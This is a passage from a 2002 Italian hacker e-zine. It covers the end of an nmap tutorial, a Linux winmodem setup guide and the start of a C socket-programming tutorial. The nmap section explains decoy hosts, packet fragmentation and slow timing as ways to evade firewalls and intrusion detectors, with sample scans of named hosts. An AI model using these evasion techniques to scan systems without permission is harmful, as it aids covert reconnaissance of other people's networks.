| essere frammentato in pacchetti piu` piccoli, che sono riassemblati |
| poi nell'host. Molti filtri di pacchetti e molti firewall non |
| riassemblano i pacchetti, e quindi, potranno consentire il passaggio |
| dei pacchetti verso destinazioni non consentite, dove non dovrebbero |
| arrivare; la scansione potrebbe quindi non essere rilevata dal sowtare |
| di individuazione di intrusioni :))) |
| |
| |
| |
| °°°°°°°°°°Modalita` dettagliata°°°°°°°°°°°° |
| |
| -Usage: nmap -v host |
| |
| -Info: Con questa opzione si utilizzera` una modalità di scansione |
| dettagliata, ovvero " verbose" |
| |
| |
| °°°°°°°Modalita` molto dettagliata°°°°°°°°° |
| |
| -Usage: nmap -vv host |
| |
| -Info: Con questa opzione si utilizzera` una modalità di scansione |
| molto dettagliata che permettera` di analizzare addirittura tutte le |
| informazioni interne dei pacchetti di nmap. |
| |
| |
| °°°°°°°°°°°°°°Hosts Fittizi°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -D host |
| |
| -Info: Consente di trarre in inganno gli Hosts.Invia pacchetti come |
| se provenissero dagli hostname elencati.Poiche` l'host appartiene a un |
| elenco di host fittizi, potrebbe essere possibile nascondere il |
| sistema con un rumore di fondo. Se i pacchetti IP di disturbo soino |
| bloccati tra l'host di scansione di Nmap e l'host target, questi |
| pacchetti di rischiamo non riusciranno mai a raggiungere il target. |
| |
| |
| °°°°°°°°°°°°°°°°°Timing°°°°°°°°°°°°°°°°°° |
| |
| -Usage: nmap -T host |
| |
| -Info: Criteri di Timing. Poiche` alcuni rivelatori di scansione |
| danno attenzione al numero di pacchetti non appropriato in un |
| determinato intervallo di tempo, l'uso di velocita` piu` lente di |
| scansione puo` rendere inutile la funzione dei rivelatori. Le opzioni |
| variano da Paranoid che invia un pacchetto ogni 5 minuti (...), a |
| Insane che rimane in attesa solo 0.3 secondi per il TimeOut di |
| scansione e puo` perdere molte informazioni a causa della elevata |
| velocita`. |
| |
| ----------------------------------------- |
| |
| Ovviamente qui sopra ho elencato soltanto le opzioni piu` comuni, |
| utili e utilizzate di nmap, non negando che effettivamente ne esistono |
| svariate. Per esempio con l'opzione " -O? ", nmap puo` produrre |
| l'output in diversi formati, compreso XML, solo testo esaminabile col |
| grep.Oppure con l'opzione " -oS " , di solito riservata agli script |
| kiddies, che produce un output non documentato. Io consiglio |
| personalmente a voi di usare Nmap, non solo per scannare sistemi |
| target a casaccio, ma anche per conoscere a fondo il funzionamento del |
| NetWorking, smanettando con le numerose opzioni messe a disposizione. |
| |
| Inoltre, per chi ama la parte grafica dei sowtare, nmap mette a |
| disposizione Nmapfe ( nmap front end), che essenzialmente non e` altro |
| che una GUI che offre un metodo interattivo per predisporre le opzioni |
| della riga di comando di Nmap.Questa interfaccia non effettua nessuna |
| attivita` che non sia disponibile anche dalla riga di comando. |
| |
| |
| |
| |
| [4.4] *Altri usi di Nmap* |
| |
| Come gia` ho ricordato prima, nmap non e` o0lamente un semplice |
| scanner di porte, ma anche un potente strumento di analizzatore di |
| rete... ma non solo.. Ora vediamo un po` di teknike di cui possiamo |
| disporre.... :) |
| |
| |
| |
| [4.4.1] *Ping sweep* |
| |
| |
| Nmap, dispone di una funzionalità integrativa di ping sweep.E` |
| sufficente fornire un elenco di indirizzi o di rete e usare l'opzione |
| -sP: |
| |
| --------------------------------------------------------------------- |
| advancedbox$ Nmap -sP 192.168.10.0/24 |
| Starting Nmap V. 2.54BETA7 (www.insecure.org/nmap) |
| Host ( 92.168.10.0 ) seems to be a subnet bradcast address ( returned |
| 3 extra plug ) |
| Host kristen (92.168.10.6) appears to be up |
| Host richard (92.168.10.10) appears to be up |
| Host brady (92.168.10.15) appears to be up |
| Host Advanced (92.168.10.18) appears to be up |
| Nmap run completed -- 256 ip address (4 host up) scanned in 154 |
| seconds |
| --------------------------------------------------------------------- |
| |
| La definizione di ping di Nmap,quando si usa l'opzione -sP è,in |
| effetti,un po' più ampia rispetto al comando icmp.Invierà sia un |
| normale pakketto di echo icmp sia un pakketto tcp ACK alla porta |
| 80(http) del sistema.Anke se ICMP è blokkato, il protocollo TCP |
| generalmente potrà passare. Se Nmap riceve un pakketto RST (reset) |
| dall host in risposta al comando ACK, si potrà così determinare ke il |
| sistema è in funzione. Nell esempio precedente abbiamo usato la |
| notazione 92.168.10.0/24 per definire gli host di cui effettuare la |
| scansione.Questo signifika scansionare tutti i sistemi della rete con |
| una subnet mask a 24 bit( ovvero la rete di classe c).Nmap può |
| supportare diversi metodi per la definizione degli host |
| |
| |------------------------------------------------------------| |
| |Tipo | Esempio | |
| |------------------------------------------------------------| |
| |Wildcards | 192.168.10.* 10.10.*.* | |
| |Rangers | 192.168.10.0-255 10.10.0-255.0-255 | |
| |CIDR notattion| 192.168.10.0/24 | |
| |------------------------------------------------------------| |
| |
| |
| |
| |
| |
| [4.4.2] *Os detecting* |
| |
| Nmap, che e` stato descritto estesamente dispone di funzioni integrate |
| per la determinazione del sistema operativo. QUeste funzioni di Nmap |
| sono le migliori oggi disponibili. Il programma e` aggiornato |
| regolarmente con nuove signature. Quando infatti non trova un |
| abbinamento, fornisce le istruzioni su come inviare il fingerprint e |
| il sistema operavio del database, affinkè queste informazioni possano |
| essere rese disponibili a tutti nelle release future. Il database |
| contiene attualmente ( 23/03/2002 ) oltre 500 fingerprint e include |
| molte attrezzature di rete e stampanti; consente l`esecuzione di |
| numerosi test: |
| |
| -- Test della gestione delle sequenze TCP |
| |
| -- Pakketto SYN con numerose opzioni TCP per l`apertura di una porta |
| |
| -- Pakketto null con opzioni per l'apertura di una porta |
| |
| -- Pakketto SYN/FIN/URG/PSH con opzioni per l'apertura di una porta |
| |
| -- ACK per l'apertura di una porta con opzioni |
| |
| -- SYN per una porta kiusa con opzioni |
| |
| -- ACK per una porta kiusa con opzioni |
| |
| -- FIN/PSH/URG per una porta kiusa con opzioni |
| |
| -- Pacchetto UDP per una porta kiusa |
| |
| |
| Per rikiedere la determinazione del sistema operativo, si deve fornire |
| a Nmap l'opzione -O : |
| |
| advanced@mojodo.it# Nmap -vv -sS -O www.mojodo.it |
| |
| Starting Nmap v.2.54 by Fydore@insecure.org www.insecure.org/nmap |
| Host www.mojodo.it(15.45.54.12) appears to be up... g00d |
| Initiating SYN half-open stealth scan against www.mojodo.it (15.45.54.12 |
| The SYN scan took 1 second to scan 1525 ports. |
| For OSscan assuming that port 22 is open and the port 1 is closed and |
| neither are firewalled. |
| Interestring ports on www.mojodo.it(15.45.54.12) |
| The 1518 ports scanned but not show belowe are in state: closed |
| |
| Port State Service |
| 22/TCP Open Ssh |
| 25/TCP Open SNMPT |
| 515/TCP Open priner |
| 6000/TCP Open X11 |
| tcp sequence prediction:class=random positive increments |
| Difficulty=3728145 |
| Good luck |
| |
| Sequence Members: FA401E9 FA401E9 F720DEB F720DEB 1004486A 1004486A |
| Remote operating system guess: Linux 2.2.122-2.2.16 |
| Os fingerprint: |
| Tseq(class=RI%gcd=1%SI=38E11) |
| T1(rESP=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MANNTNW) |
| T2(RESP=N) |
| T3(RESP=Y%DF=Y%W=7F53%ACK=S++%Flags=AS%Ops=MANNTNW) |
| T4(RESP=Y%DF=N%W=0%ACK=0%Flags=R%Ops=) |
| T5(RESP=Y%DF=N%W=0%ACK=SP+%Flags=AR%Ops=) |
| T6(RESP=Y%DF=N%W=0%ACK=0%Flags=R%Ops=) |
| T7(RESP=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=) |
| PU(RESP=Y%DF=N%TOS=C0%IPLEN=164%RIPTL=148%RID=E%RIPK=E%UCK=E%ULEN=134% |
| DAT=) |
| |
| Nmap run completed .. 1 ip addres ( 1 host UP ) Scanned in 0 seconds |
| |
| |
| |
| [4.4.3] *Individuazione servizi RPC* |
| |
| Nmap puo` anche essere utilzzato per elencare i servizi RPC |
| disponibili. Le normali scansioni delle porte, determinano quali sono |
| aperte. Nmap invia quindi un numero massiccio di pacchetti a ciascuna |
| porta con conamandi RPC NULL per determinare se si tratta di un |
| servizio RPC, e in questo caso, i protocolli e le versioni in |
| esecuzione.I risultati delle scansioni RPC saranno elencati fra |
| parentesi dopo la porta elencata. Di seguito vi porto un esempio di |
| una scansione Nmap effettuare a un host su cui girano diversi servizi |
| RPC. |
| |
| advanced@mojodo.it# rpcinfo -p mojodo.it |
| rpcinfo: can't contact portmapper: RPC: Remote System Error |
| - Connection refused |
| |
| advanced@mojodo.it# nmap -sS -sR mojodo.it |
| |
| Starting Nmap v.2.54 by Fydore@insecure.org www.insecure.org/nmap |
| Interesting ports on mojodo.it (124.12.8.16) |
| |
| Port State Services (RPC) |
| 21 Open Ftp |
| 22 Open Ssh |
| 80 Open http |
| 111 Filtered sunrpc |
| 139 Open netbios-ssn |
| 1521 Open ncube-lm |
| 2049 Open lockd (nlockmgr V4-1) |
| 32771 Open sometimes-rpc5 (status V1) |
| |
| Notate che, in questo sistema, e` stata filtrata la porta 111 e che |
| rpcinfo non ha potuto connettersi a portmapper.Nmap e` stato comunque |
| in grado di identificare servizi RPC contattando direttamente ciascun |
| servizio e richiedendo l'identificazione ai servizi. |
| |
| |
| |
| |
| [5] * 3nD * |
| |
| Uff non ce la facevo più :) finalmente ho finito l'articolo... chiedo |
| scusa se sono stato troppo sintetico nell'ultima parte... se volete |
| chiarimenti fatemelo sapere. Ringrazio ancora valk e tutti quelli ke |
| credono in mojodo,e il s0ftpj. |
| Per commenti, complimenti,bestemmie,offese,parolaccie scrivetemi!!!! |
| Un grosso saluto a tutti! |
| |
| |
| Ade :*** |
| |
| http://www.zone-h.org |
| http://www.mojodo.it |
| http://advanced.too.it |
| |
| */*/ ADvAnCeD` */*/ |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #06 - 25/04/2002 |
| iN SHELL WE TRUST - PARTE 2 [lesion] 0x09/0x1D |
+--------------------------------------------------------------------------+
| |
| allora allora vediamo un po'... |
| avete il vostro bellissimo winmodem e nn riuscite a connettervi con il |
| vostro amato SO? |
| mmmmm male male. |
| postulato 1: i winmodem sono il male; |
| postulato 2: noi sconfiggeremo il male; |
| postulato 3: ma prima dobbiamo imparare a conviverci finke' ce ne |
| saranno ankora in giro. |
| |
| personalmente ho provato con un : |
| |
| [16:20:03]~/# lspci |
| ..snip.. |
| 00:0d.0 Communication controller: Lucent Microelectronics F-1156IV |
| WinModem |
| (V90, 56KFlex) (rev 01) |
| ..snip.. |
| [16:20:24]~/# |
| |
| e ora quindi vi esporro' come ho fatto a far funzionare questo modem. |
| in qualsiasi caso cmq, le operazioni nn dovrebbero essere molto |
| differenti. cmq prima di tutto, andate su www.linmodems.org e sul sito |
| della casa costruttrice del modem, ke magari, pregando in cinese davanti |
| alla statuina di sant'antonio incoronato a pasqua, inginokkiati sui ceci |
| cosparsi di sale a 80gradi, forse forse,ha rilasciato i sorgenti dei |
| driver o i binari per il nostro caro amato sistema operativo linuxoide. |
| quindi, una volta trovati sti moduli (i cazzo di .o in sostanza, o i |
| sorgenti se nn trovate i binari..anzi al contrario, i sorci son sempre |
| mejo) impakkettati in tar.gz, li si scompatta : |
| |
| tar xvzf ltmodem-6.00c2.tar.gz |
| |
| (il nome nn deve essere quello, e' cosi' nel mio caso...) |
| si joina nella directory appena creata e si procede con un |
| |
| ./configure && make && make install |
| |
| tutto questo ovviamente nel caso aveste i sorgenti, altrimenti ci |
| dovrebbe essere qlcsa tipo ./install.sh o ./autoinstall vedete voi, e |
| ricordate ke probabilmente c'e' un file kiamato README, tradotto anke |
| leggimi, ke vuol proprio dire ke dovete leggerlo.... |
| se nn c'e' niente di tutto cio', andate di modprobe modulo.o e nel caso |
| funzioni provvedete a fare in modo ke lo cariki all'avvio. |
| ok qui da me, dopo una serie illimitata di cose da leggere, mentre tenta |
| di compilare i moduli mi dice ke il kernel ke sta girando ha il supporto |
| SMP (simmetric multi processing?) e ke nn e' bene usare i moduli con |
| questa cosa attivata e quindi si riufiuta di compilarmeli. |
| dopo circa 3mila bestemmie mi metto contro voglia a ricompilare il |
| kernel, ma si' dai, passiamo al 2.4 ... addio caro amato 2.2.19 sniff... |
| :( metto il cd della slak, installpkg /cdrom/slakware/k1/lnx245.tgz per |
| installare i sorgenti del kernel ke ci si sta' apprestando a |
| ricompilare, poi un "cd /usr/src/", ke e' la dir dove ha copiato i |
| sorci, un "rm linux" |
| seguito da un "ln -s linux-2.4.5 linux" per cambiare il link e spostarlo |
| sui nuovi sorci del kernel, un "cd linux" ed un "make menuconfig" per |
| fare tutti i settaggi ke + ci aggradano, ricordandoci di levare il |
| supporto SMP. |
| appena avete finito di fare i vostri cazzeggi col kernel (nn e' questa |
| la sede x spiegare questi virtuosismi tecnici :)) ) potrete riprendere |
| alla compilazione dei moduli. |
| ok funziona, ora faccio ./ltinst2 come suggeritomi e ./autoinstall e vai |
| di reboot. |
| ora via di minicom per provare se lo vede, e quindi minicom -s da root. |
| un veloce cambiamento alla configurazione (serial port setup) per |
| cambiare il serial device, ke gli script di installazione dei moduli |
| hanno gia' |
| provveduto a linkare a /dev/modem. poi salviamo la configurazione (save |
| as dfl) e poi usciamo (exit from minicom). riapriamo minicom (sempre con |
| l'opzione -s), premiamo su exit e vediamo ke tenta di inizializzare il |
| modem. se vediamo qlcsa tipo: |
| AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0 |
| OK |
| siamo a cavallo, altrimenti nn proprio. |
| ricontrollate la configurazione della porta seriale nell opzioni di |
| minicom, altrimenti controllate se il device /dev/modem e' linkato al |
| device effettivo del modem (nel mio caso e' /dev/ttyLT0) e provate a |
| mettere quest'ultimo nelle opzioni di configurazione.. |
| dopo cio', andate pesantemente di pppsetup (solo gli slakwaristi |
| ovviamente, per gli altri, solo calci in faccia hihhii) e provate un |
| ppp-go. per vedere se effettivamente il modem ci sta dentro, consiglio |
| un tail -f /var/log/messages (ovviamente dovete avere syslogd avviato |
| altrimenti nada, ed essere root) ke vi mostra quel ke fa' pppd e se vede |
| il modem. |
| se vi trovate di fronte a problemi quali "NO DIALTONE" o altri, provate |
| a leggere la documentazione sicuramente inclusa dentro al pakketto dove |
| avete preso i moduli, altrimenti cercate in rete..c'e' parekkia roba. |
| ah ultima cosa, ecco i modem supportati coi rispettivi links dove |
| guardare dopo aver guardato su www.linuxmodems.org ovviamente |
| (ovviamente nn saranno tutti, ma un aiutino nn guasta mai): |
| |
| -IBM Mwave (Thinkpad 600E) |
| http://oss.software.ibm.com/developer/opensource/linux/projects/mwave/ |
| |
| -Lucent LT |
| http://www.close.u-net.com/ltmodem.html |
| |
| -ESS |
| http://walbran.org/sean/linux/stodolsk/) |
| x ISA: http://linmodems.technion.ac.il/packages/essisa111.zip |
| x PCI: http://linmodems.technion.ac.il/packages/esspci111.zip |
| |
| -PCTel |
| http://www.idir.net/~gromitkc/winmodem.html#drivers |
| x kernel 2.4 http://walbran.org/sean/linux/stodolsk/ |
| |
| -Conexant/Rockwell HSF |
| http://www.olitec.com/pci56kv2.html |
| http://redrival.com/btifaq/hsflinux.htm (piccola guida) |
| |
| -Intel HaM |
| http://developer.intel.com/design/modems/support/license/r-333-5.htm |
| |
| -Intel L-MD5620DT |
| http://linmodems.org/CLModem-0.3.0.tar.gz |
| http://www.idir.net/~gromitkc/clm/CLModem-0.3.0+gg.tar.gz |
| (vedi pure qusto) |
| |
| -3Com Mini-PCI |
| http://mobilix.org/minipci_linux.html (prova qui....) |
| |
| -AMR |
| http://linmodems.org/cgi-bin/ezmlm-cgi?1:mss:2768:200102:edbonibpdjfpn |
| fhbmhel |
| |
| ecco tutto, o anke no. |
| lesion@autistici.org |
| bacetti liberi |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #06 - 25/04/2002 |
| TCP/iP & SOCKET iN LiNUX [SNHYPER] 0x0A/0x1D |
+--------------------------------------------------------------------------+
| |
| ########################## |
| ## TCP/IP & SOCKET IN LINUX ## |
| ########################## |
| |
| [[ Tutorial under GNU General Public License ]] |
| |
| |
| In questo tute parleremo, come si vede dal titolo..., della |
| programmazione socket in Linux. Quindi come creare applicazioni |
| client/server che utilizzano i socket. Il tute e' volutamente diretto ai |
| newbie che non conoscono la programmazione dei socket, ma che abbiano |
| come prerequisito almeno la conoscenza del mitico linguaggio C e la |
| conoscenza dei protocolli di comunicazione. |
| Se non possedete questi prerequisiti...vi consiglio: |
| |
| @Linguaggio C: |
| - "Guida completa al C" - Apogeo |
| - il mitico "K&R" - Kernigham e Ritchie |
| @Protocolli di rete: |
| - "Guida completa al Tcp/Ip" - Apogeo |
| - altro mitico "Tcp/Ip illustrated" - R. Stevens (volume 1 per iniziare |
| @Approfondimento e studio programmazione socket: |
| - mitico "Unix network programming" - R. Stevens (edizione 2 volume 1 |
| per iniziare) |
| |
| Come dovreste sapere Tcp e Udp sono protocolli di trasmissione. Tcp e' |
| un protocollo orientato alla connessione e con garanzia di consegna. Udp |
| il contrario. La programmazione socket utilizza sia Tcp che Udp. Tcp e |
| la programmaizone socket sono stati utilizzati sui primi sistemi Unix. |
| I socket del dominio Unix erano stati sviluppati per consentire la |
| comunicazione tra programmi Unix, mentre i piu' recenti socket hanno |
| fornito le basi di sviluppo di socket nei sistemi Unix recenti, Windoze, |
| OS/2, Mac. |
| |
| In questo tute esamineremo le principali system call per la |
| realizzazione di diversi programmi d'esempio: |
| |
| - socket() |
| - bind() |
| - listen() |
| - connect() |
| - accept() |
| - recv() |
| - send() |
| |
| /-----------------\ |
| | 1) Socket() | |
| | - man socket | |
| \-----------------/ |
| |
| Un socket e' praticamente un tunnel di comunicazione dati. Nel momento |
| in cui due processi sono connessi attraverso un socket, useranno un |
| descrittore di socket per le operazioni di lettura/scrittura dal socket. |
| La socket() ha i seguenti argomenti: |
| |
| - int domain |
| - int type |
| - int protocol |
| |
| Esistono diversi tipi di domini socket,definiti in |
| /usr/include/sys/socket.h oppure in /usr/include/bits/socket.h. |
| Questi sono: |
| |
| - AF_UNIX /* protocolli interni di unix */ |
| - AF_INET /* protocolli Arpa di internet, ovvero i piu' usati */ |
| - AF_ISO /* protocolli della International Standard Organization */ |
| - AF_NS /* protocolli di xerox network system |
| |
| Per quanto riguarda la tipologia di socket troviamo: |
| |
| - SOCK_STREAM /* connessione full-duplex, sequenziata, |
| a flusso continuo dati */ |
| - SOCK_DGRAM /* tipo connectionless e non affidabile (udp) */ |
| - SOCK_RAW /* Usato per i protocolli di rete interni */ |
| - SOCK_SEQPACKET /* usato solo con dominio AF_NS */ |
| - SOCK_RDM /* non ancora implementato */ |
| |
| Il maggiormente usato è SOCK_STREAM. |
| Per quanto rguarda il terzo argomento della socket() , ovvero "int |
| protocol", si utilizza il numero di protocollo. Il valore zero sara' |
| quello usato negli esempi ed in molti programmi. |
| |
| /-----------------\ |
| | 2) Bind() | |
| | - man bind | |
| \-----------------/ |
| |
| La bind() ha la funzione di associare un processo ad un socket ed e' |
| solitamente utilizzata per inizializzare un socket in processi server, |
| per connessioni di client in entrata. I suoi argomenti sono: |
| |
| - int socket |
| - struct sockaddr *my_addr |
| - int my_addr_lenght |
| |
| Esaminiamoli nel dettaglio: |
| |
| "int socket" e' il valore di socket restutuito da una precedente |
| chiamata alla socket(). |
| |
| "struct sockaddr *my_addr" e' l'indirizzo di una struttura di tipo |
| "sockaddr" definita nel file di include /usr/include/linux/socket.h nel |
| seguente modo: |
| |
| struct sockaddr |
| { |
| unsigned short sa_family; /* address family, AF_XXX */ |
| char sa_data[14]; /* 14 bytes di protocol address */ |
| };
|
| |
| Questo tipo di struttura deve essere allocata e passata come secondo |
| argomento della bind(). Per esempio nel programma che vedremo dopo, la |
| sockaddr e' inizializzata come: |
| |
| struct sockaddr_in sin; |
| bzero(&sin, sizeof(sin)); |
| sin.sin_family = AF_INET; |
| sin.sin_addr.s_addr = INADDR_ANY; |
| sin.sin_port = htons(port); |
| bind(sock_descriptor, (struct sockaddr *)&sin, sizeof(sin); |
| |
| La sockaddr_in e' uguale alla sockaddr tranne che per la singola |
| nominazione dei sotto-elementi per l'impostazione dell'indirizzo di |
| protocollo. |
| |
| /-----------------\ |
| | 3) Listen() | |
| | - man listen | |
| \-----------------/ |
| |
| Terminata la creazione del socket con la socket() e la sua associazione |
| ad un processo con la bind(), un processo puo' chiamare la listen() |
| intendendo la disponibilita' alla ricezione di connessioni entranti. |
| I suoi argomenti sono: |
| |
| - int socket |
| - int input_queue_size |
| |
| Il primo argomento e' il valore restituito da una precedente chiamata |
| alla socket() (dopo che e' stata chiamata a sua volta dalla bind); |
| mentre il secondo, importante, assegna la dimensione della coda di |
| connessioni entrante. La maggior parte delle volte si usa la funzione |
| fork() per generare un processo figlio che gestisce in "parallelo" le |
| connessioni entranti. La fork viene usata quando si necessita di |
| affrontare molte connessioni entranti. Per la maggior parte di semplici |
| programmi e' comunque solitamente adeguato e piu' semplice processare le |
| funzioni connessioni entranti una alla volta e assegnare alle dimensioni |
| della coda entrante una dimensione abbastanza grande. |
| |
| /-----------------\ |
| | 4) Accept() | |
| | - man accept | |
| \-----------------/ |
| |
| Questa funzione definisce lindirizzo remoto ed il processo remoto(dal |
| lato server). Viene eseguita dal server prima dopo la listen e pone il |
| processo in attesa di una connessione da parte di un client. La accept, |
| prende una connessione che è in testa alla coda specificata dalla listen |
| e crea un altro socket (canale privato) con le stesse caratteristiche |
| del socket precedente. Se non ci sono richieste in sospeso nella coda, |
| la accept blocca il processo chiamante in attesa di una connessione. |
| I parametri pasati sono: |
| |
| - sock_descriptor |
| - struct client_addr |
| - longaddr Contiene la lunghezza della struttura dell'indirizzo del |
| processo connesso (client). |
| |
| Il primo argomento è il solito descrittore di socket. Secondo la |
| struttura ove verrà inserito l'indirizzo del client Il longaddr contiene |
| la lunghezza della struttura dell'indirizzo del processo connesso |
| (client). Viene prima posto uguale alla dimensione della struttura e |
| successivamente prende il valore della dimensione della struttura |
| effettivamente occupata dal client connesso. |
| Questa funzione restituisce tre valori: |
| |
| - un intero positivo che indica il nuovo socket creato |
| - un intero negativo che indica che la funzione non è andata a buon fine |
| - scrive in client_indir lindirizzo del client appena connesso. |
| |
| /-----------------\ |
| | 5) Connect() | |
| | - man connect | |
| \-----------------/ |
| |
| La connect() ci serve per connettere un socket locale ad un servizio |
| remoto. Tipico uso e' quello di specificare le informazioni del pc host |
| per un processo server in esecuzione su un pc remoto. |
| I suoi argomenti sono: |
| |
| - int socket |
| - struct sockaddr *server_address |
| - int server_address_lenght |
| |
| Il primo e' il solito valore di ritorno di una chiamata alla socket(). |
| Per la struttura sockaddr, il primo campo dati permette di specificare |
| la family (tipo di connessione) prima di chiamare la connect() : |
| |
| - AF_UNIX /* socket del dominio unix ( per alte prestazioni) */ |
| - AF_INET /* protocolli IP di internet (la + usata) */ |
| - AF_IPX /* novell ipx (usato spesso in reti windoze) */ |
| - AF_APPLETALK /* protocollo appletalk */ |
| |
| Per altri tipi meno usati, vedete la man della funzione ( man connect). |
| Il secondo elemento della sockaddr e' un blocco di dati di 14 bytes per |
| specificare l'indirizzo di protocollo. |
| |
| /-----------------\ |
| | 6) Recv() | |
| | - man recv | |
| \-----------------/ |
| |
| La recv() e' usata per ricevere messaggi da un socket connesso ad un |
| altro mediante una connect(). Due altri chiamate di cui parleremo piu' |
| avanti sono recvfrom() e recvmsg() che servono per ricevere messaggi dal |
| socket con protocolli non orientati alla connessione ( UDP). |
| I suoi argomenti sono: |
| |
| - int socket |
| - void *buf |
| - int buf_len |
| - unsigned int flags |
| |
| Il socket definito nel primo argomento deve essere gia connesso ad una |
| porta con la connect(). Il secondo argomento e' un puntatore all'area di |
| memoria nella quale verra' memorizzato il messaggio ricevuto. Il terzo |
| argomento da le dimensioni del blocco di memoria ( in byte di 8 bit) |
| Il quarto descrive le flag di funzionamento: |
| |
| - MSG_OOB /* dati di processo fuori banda (per msg di controllo ad |
| elevata priorita').Solitamente si usa lo zero per msg normali */ |
| - MSG_PEEK /* Peek-ka il msg entrante senza leggerlo veramente */ |
| - MSG_WAITALL /* aspetta che il buffer di ricezione sia completo */ |
| |
| /-----------------\ |
| | 6) Send() | |
| | - man send | |
| \-----------------/ |
| |
| La send() e' usata per inviare dati ad un altro programma utilizzando un |
| socket. Sia le applicazioni client che quelle server utilizzano questa |
| funzione. Le client si servono di send() per inviare richieste di |
| servizi alle applicazioni remote e le server per inviare |
| i dati richiesti. |
| I suoi argomenti sono: |
| |
| - int socket |
| - const void *message_data |
| - int message_data_lenght |
| - unsigned int flags |
| |
| Il primo argomento, come al solito, e' il valore di socket restituito da |
| una sua chiamata. Il secondo argomento contiene i dati che devono essere |
| inviati. Il terzo argomento specifica le dimensioni, in byte di 8 bit, |
| dei dati del messaggio. Il quarto e' quasi sempre zero anche se possono |
| essere utilizzati anche i seguenti valori: |
| |
| - MSG_OOB /* per i dati fuori banda (Out Of Band) */ |
| - MSG_DONTROUTE /* non utilizza l'instradamento */ |
| |
| /-------------------------------------------------------------------\ |
| | Semplice raffigurazione esemplificativa di gestione delle funzioni| |
| \-------------------------------------------------------------------/ |
| ____________ |
| | SOCKET() | |
| |__________| |
| | |
| \|/ |
| ____________ |
| Porte ben conosciute | BIND() | |
| [ Well-Known port ] |__________| |
| | |
| \|/ |
| ____________ |
| | LISTEN() | |
| |__________| |
| | |
| ___________ \|/ |
| | SOCKET() | ____________ |
| |__________| | ACCEPT() | |
| \|/ |__________| |
| ____________ | |
| | CONNECT()| /____ \|/ |
| |__________| \ \ Stoppa finche' non riceve |
| | \ una connessione dal client |
| | \ | |
| \|/ \_____3 way handshake___________\ \|/ |
| ____________ Instaurazione della conn. __/_________ |
| _\ | WRITE() | | READ() | |
| | / |__________| ______Data Request _________________\ |__________| /_ |
| | / | \ | |
| | \|/ | |
| | Richiesta processo | |
| | | | |
| | \|/ | |
| | ___________ ____________ | |
| |__ | READ() | /_______Data reply____________________ | WRITE() |___| |
| |_________| \ |__________| |
| | | |
| \|/ \|/ |
| ____________ ____________ |
| | CLOSE() |_______Notifica di EoF_______________\ | READ() | |
| |__________| (EoF=End of File) / |__________| |
| | |
| \|/ |
| ____________ |
| | CLOSE() | |
| |__________| |
| |
| p.s. sbattimento sto ascii... |
| |
| /------------------------------------------------------------------\ |
| | Realizziamo la nostra prima applicazione client/server d'esempio | |
| \------------------------------------------------------------------/ |
| |
| Creeremo un server (AppServer.c) in ascolto per ricevere richieste da un |
| socket (porta 8000). Qualunque programma, come il client che creeremo |
| (AppClient.c), puo' connetersi al nostro server ed inviare fino a 16.384 |
| byte di dati al server stesso. Il server trattera' i dati in arrivo come |
| caratteri ASCII e li converterà in maiuscolo prima di restituirli al |
| client. Per il server non utilizzeremo la fork(), bensi' la tipologia a |
| coda d'ingresso detta prima, capace di un backlog di 20 richieste di |
| servizio. Se notate bene le 2 applicazioni non sono complete, sono il |
| cuore ed oltre del programma, ma mancano i file ddi include e la |
| dichiarazione di alcune variabili, che si presuppone sappiate fare... |
| Comunque allegati troverete altri 2 sorgenti completi di tipi di |
| applicazioni client/server. I nomi di alcune variabili e di alcune |
| istanze delle strutture (per velocita' e facilita' di esecuzione), ma i |
| procedimenti adottati sono gli stessi. |
| ________________________________________________________________________ |
| |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| <-*-> AppServer.c <-*-> |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| |
| /* Creeremo un socket permanente per la ricezione di richieste di |
| servizi; quando un nuovo client si connette al server un nuovo socket |
| temporaneo viene aperto tre client e server. Le strutture dati che |
| andremo ad usare supportano sia socket permanenti che socket temporanei. |
| */ |
| |
| struct sockaddr_in sin ; |
| struct sockaddr_in pin ; |
| int sock_descriptor ; |
| int temp_sock_descriptor ; |
| int address_size ; |
| |
| /* Ora andiamo a definire il descrittore del socket */ |
| |
| sock_descriptor = socket(AF_INET, SOCK_STREAM, 0) ; |
| |
| /* Ora farciremo la struttura sockaddr_in sin */ |
| |
| bzero(&sin, sizeof(sin)); |
| sin.sin_family = AF_INET ; |
| sin.sin_addr.s_addr = INADDR_ANY ; |
| sin.sin_port = htons(8000); /* decidiamo per la porta 8000 */ |
| |
| /* a questo punto bindiamo la il nuovo socket sulla 8000 */ |
| |
| bind(sock_descriptor, (struct sockaddr *)&sin, sizeof(sin)); |
| |
| /* ora e' necessario invocare la funzione listen() del nuovo socket |
| sulla 8000 */ |
| |
| listen(sock_descriptor, 20); /* backlog di 20 connessioni */ |
| |
| /* a questo punto faremo entrare il prog in un loop infinito in attesa |
| di connessioni */ |
| |
| while(1) |
| { |
| |
| /* prendo un socket temporaneo per gestire le richieste del client */ |
| |
| temp_sock_descriptor = accept(sock_descriptor, (struct sockaddr |
| *)&pin, &address_size); |
| |
| /* ricevo i dati dal client */ |
| |
| recv(temp_sock_descriptor, buf, 16384, 0); |
| |
| /* ........ */ |
| /* ...qui protremmo processare le richieste del client... */ |
| /* ........ */ |
| |
| /* ora ritorniamo i dati al client */ |
| |
| send(temp_sock_descriptor, buf, len, 0); |
| |
| /* adesso chiudiamo il socket temporaneo, dato che abbiamo finito */ |
| |
| close(temp_sock_descriptor); |
| |
| } |
| ________________________________________________________________________ |
| |
| Nel nostro programma il server rimane in attesa di connessioni di socket |
| client entranti per un tempo indefinito. Se il programma viene |
| eliminato, il socket permanente viene chiuso automaticamente dal sistema |
| operativo. Sotto il nostro caro Linux la chiusura del socket avviene |
| istantaneamente, mentre con l'altrettanto caro Windoze (caro nel senso |
| di costoso ;) la ciusura avviene tra i 5 e i dieci secondi. |
| |
| ________________________________________________________________________ |
| |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| <-*-> AppClient.c <-*-> |
| <-*-><-*-><-*-><-*-><-*-><-*-> |
| |
